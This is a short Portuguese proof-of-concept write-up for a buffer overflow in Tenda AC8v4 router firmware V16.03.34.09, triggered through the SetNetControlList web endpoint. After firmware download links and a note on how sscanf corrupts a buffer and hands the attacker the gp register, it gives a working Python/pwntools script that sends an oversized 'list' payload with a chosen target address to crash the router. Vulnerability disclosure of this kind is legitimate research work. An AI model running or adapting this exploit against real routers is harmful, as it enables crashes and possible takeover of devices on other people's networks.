
Exploit de prova de conceito para uma vulnerabilidade de buffer overflow no firmware do roteador Tenda AC8v4 (V16.03.34.09) via endpoint SetNetControlList, demonstrando controle sobre o registrador gp.
Site de download do firmware:
https://www.tenda.com.cn/download/detail-3683.html
https://down.tenda.com.cn/uploadfile/AC8/V16.03.34.09.zip
https://static.tenda.com.cn/tdcweb/download/uploadfile/AC8/V16.03.34.09.zip
AC8/V16.03.34.09
Tenda AC8v4 .V16.03.34.09. Devido ao sscanf, o último dígito de s8 é sobrescrito com \x0. Após executar set_client_qos, é obtido o controle sobre o registrador gp.



uma PoC para fazer com que ocorra Segmentation fault (core dumped)
import requests
url = 'http://192.168.0.1/goform/SetNetControlList'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36',
'Accept': '*/*',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Length': '3003'
}
payload=b"list="
pad=0x407ff818-0x407ff7c0
from pwn import *
target=0x40302010
target=p32(target)
payload+=b"a"*(pad)+target+b"c"*(0x110-pad)
# list len >=0x100
try:
requests.post(url, headers=headers, data=payload,timeout=3)
except requests.exceptions.ReadTimeout:
print("test ok")

antes do sscanf

depois, e fará ret


